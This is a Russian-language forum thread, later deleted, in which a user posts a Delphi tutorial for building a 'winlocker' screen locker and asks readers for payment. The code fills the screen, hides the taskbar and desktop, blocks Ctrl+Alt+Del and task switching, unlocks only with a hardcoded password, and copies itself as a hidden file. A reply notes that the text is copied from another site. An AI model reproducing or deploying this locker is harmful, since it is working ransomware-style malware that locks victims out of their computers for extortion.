Перейти к содержимому
0
  • Категории
  • Последние
  • Популярные
  • Категории
  • Последние
  • Популярные
Свернуть
  1. Главная
  2. Категории
  3. Начало эпохи
  4. Вконтакте
  5. Программы
  6. Создаём сильный винлок и выпрашиваем деньги))))

Создаём сильный винлок и выпрашиваем деньги))))

Запланировано Прикреплена Закрыта Перенесена Программы
2 Сообщения 2 Участники 0 Просмотры
  • Сначала старые
  • Сначала новые
  • По количеству голосов
Ответить
Авторизуйтесь, чтобы ответить
Эта тема удалена! Эта тема была удалена. Только пользователи с правом управления темами могут её видеть.
  • Я песал с ашыбками Автор
    Я песал с ашыбками
    Я песал с ашыбками
    Это сообщение удалено!
    написал в отредактировано
    ещо да таво как ето стало МС
    #1

    Чтобы написать данную программу нужно:

    1. Delphi.
    2. 2 руки.
    3. Голова.
    4. 500 монет(или 2 дня) (которые в конце урока вы отошлёте мне)
      Запускаем Delphi, кидаем на форму TImage (Чтобы загрузить картинку блокиратора) TEdit, TButton.

    Начинаем кодинг!
    Код:

    1
    procedure TForm1.CreateParams(var T : TCreateParams);
    begin
    inherited Createparams(T);
    with T do
    Style := (Style or WS_POPUP) and not WS_DLGFRAME;
    end;

    Выше написанный код, не обязателен.

    Создаем событие OnActivate у Form1.
    Пишем это:

    Код:

    2
    procedure TForm1.FormActivate(Sender: TObject);
    var
    hTaskBar : THandle;
    begin
    Edit1.Clear;
    //исключаем из списка ALT+CTRL+DEL
    ShowWindow (Application.handle, SW_HIDE);
    //Размер формы:=Размеру Экрана
    form1.Height:=screen.Height;
    form1.Width:=screen.Width;
    //Отключаем ALT+CTRL+DEl ALT+TAB CTRL+ESC
    SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0);
    //Убираем Панель задач
    hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil);
    ShowWindow(hTaskBar, SW_HIDE);
    //Убираем Иконки с рабочего стола
    ShowWindow(FindWindow(nil,’Program Manager’),SW_HIDE);
    end;
    Ставим вводные символы в TEdit под звездочки.
    Код:
    procedure TForm1.Edit1Change(Sender: TObject);
    begin
    Edit1.PasswordChar:=’*';
    end;

    Можно конечно в Object Inspector выставить данный параметр, но буду придерживаться оригинальной статье.

    Код:

    3
    procedure TForm1.Button1Click(Sender: TObject);
    var
    hTaskBar : THandle;
    Password:string[10];
    begin
    Password:=edit1.text;
    If (Password=’grabberz.com′) then
    begin
    //включаем alt+ctrl+del alt+tab ctrl+esc
    SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0);
    //Показываем иконки на рабочем столе
    ShowWindow(FindWindow(nil,’Program Manager’),SW_SHOW);
    //Показываем Панель Задач
    hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil);
    ShowWindow(hTaskBar, SW_SHOWNORMAL);
    //Закрываем прогу
    Close;
    end

    Делаем проверку на правильность пароля:

    Код:

    4
    else
    begin
    Messagedlg(‘Неверный пасс для разблокировки… введите коректный пасс…’,mterror,[mbok],0);
    Edit1.Clear;
    end;

    Все. Как пишет автор оригинальной статьи, чтобы добавить программу в автозагрузку надо пользоваться этим:
    Код:
    5
    CopyFile(PChar(ParamStr(0)), PChar('C:'+ 'название винлока (любое название).exe'),True);
    SetFileAttributes('C:\название винлока (любое название).exe', faHidden);

    Автор статьи не я, я лишь исправил некоторые вещи, и исправил текст.
    Ответственности за код не несу.

    Добавлено через 01:30 мин.
    image
    Результат мучений

    Добавлено через 02:32 мин.
    Если понравилась статейка можна и + нажать)

    0 Ответов Последний ответ
    0
    • Disazakon
      Disazakon
      Disazakon
      Это сообщение удалено!
      написал в отредактировано
      #2

      grabberz.com
      копипаст еще и монет просит

      0 Ответов Последний ответ
      0

      • Войти

      • Войдите, чтобы искать.
      © 2011–
      • Первое сообщение
        Последнее сообщение